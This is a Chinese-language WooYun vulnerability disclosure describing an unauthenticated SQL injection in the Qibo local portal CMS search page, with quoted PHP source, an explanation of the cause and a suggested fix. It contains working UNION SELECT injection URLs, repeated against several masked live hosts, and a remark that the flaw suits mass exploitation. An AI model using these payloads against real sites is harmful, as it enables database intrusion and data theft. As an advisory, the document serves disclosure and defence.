齐博地方门户系统SQL注入漏洞(无需登录可批量)

admin 2015年7月15日14:50:02评论285 views字数 227阅读0分45秒阅读模式
摘要

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-12-20: 细节向核心白帽子及相关领域专家公开
2014-12-30: 细节向普通白帽子公开
2015-01-09: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-79938

漏洞标题: 齐博地方门户系统SQL注入漏洞(无需登录可批量) 齐博地方门户系统SQL注入漏洞(无需登录可批量)

相关厂商: 齐博CMS

漏洞作者: phith0n齐博地方门户系统SQL注入漏洞(无需登录可批量)

提交时间: 2014-10-21 14:31

公开时间: 2014-12-30 14:44

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: php源码分析

6人收藏


漏洞详情

披露状态:

2014-10-21: 细节已通知厂商并且等待厂商处理中
2014-10-26: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-12-20: 细节向核心白帽子及相关领域专家公开
2014-12-30: 细节向普通白帽子公开
2015-01-09: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

我发现齐博在一般应用列表里呢,好期待~
齐博地方门户无源码,测试可以上官网的演示站:http://life.qibosoft.com 进行测试。

详细说明:

问题出在齐博搜索的位置,也就是:http://**.**.**.**/coupon/s.php

code 区域
if($action=="search"){
if(!$webdb[Info_allowGuesSearch]&&!$lfjid){
//showerr("请先登录");
}
$keyword=trim($keyword);
$keyword=str_replace("%",'/%',$keyword);
$keyword=str_replace("_",'/_',$keyword);
if(!$keyword){
showerr('关键字不能为空!');
}
$rows=10;
if(!$page){
$page=1;
}
$min=($page-1)*$rows;
$type = ($type=='username') ? $type : "title";
if($fid){
$querys = $db->query("SELECT fid FROM {$_pre}sort WHERE `fup`='$fid'");
while($rs = $db->fetch_array($querys)){
$fids[]=$rs[fid];
}
$fids=implode(",",$fids);
if($fids){
$sql_fid = " AND `fid` IN($fids) ";
}else{
$sql_fid = " AND `fid`='$fid' ";
}
}else{
$sql_fid = "";
}

代码如上,这个注入之所以不需要登录。。。是因为源码里把showerr("请先登录");注释掉 了,不知道为何。

继续往下看,看到这个while语句:

while($rs = $db->fetch_array($querys)){

$fids[]=$rs[fid];

}

查询出来fid,将$fid放进$fids数组中。之后用implode将$fids数组变成字符串,放进IN子句中,IN子句并没有单引号限制。

看起来没问题,因为$fids是$rs[fid]组成的数组。但这里很重要的是,了解齐博的都知道,齐博在inc/common.inc.php中有这样一段:

code 区域
foreach($_COOKIE AS $_key=>$_value){
unset($$_key);
}
foreach($_POST AS $_key=>$_value){
!ereg("^/_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
!ereg("^/_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

等于说将$_GET/$_POST/$_COOKIE注册成全局变量了。所以$fids的初值我们是可以控制的,这个while语句前也没有清除$fids,只是往这个数组里加$fid。

最后导致了注入。

我们可以看看演示站:

code 区域
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]='&fids[]=xx
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0) union select user(),2,3,4,5,6,7,8,9%23

漏洞证明:

code 区域
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0) union select user(),2,3,4,5,6,7,8,9%23

齐博地方门户系统SQL注入漏洞(无需登录可批量)

这个洞利用简单,无需登录,可以批量。

code 区域
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**//coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23
http://**.**.**.**/coupon/s.php?action=search&keyword=11&fid=1&fids[]=0)%20union%20select%20user(),2,3,4,5,6,7,8,9%23

……还有太多,不列了,默默笑了,这种拿去做*产最好了,可惜我是个正直的人~

修复方案:

unset($fids);之后再进入while循环。

版权声明:转载请注明来源 phith0n@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

漏洞Rank:12 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin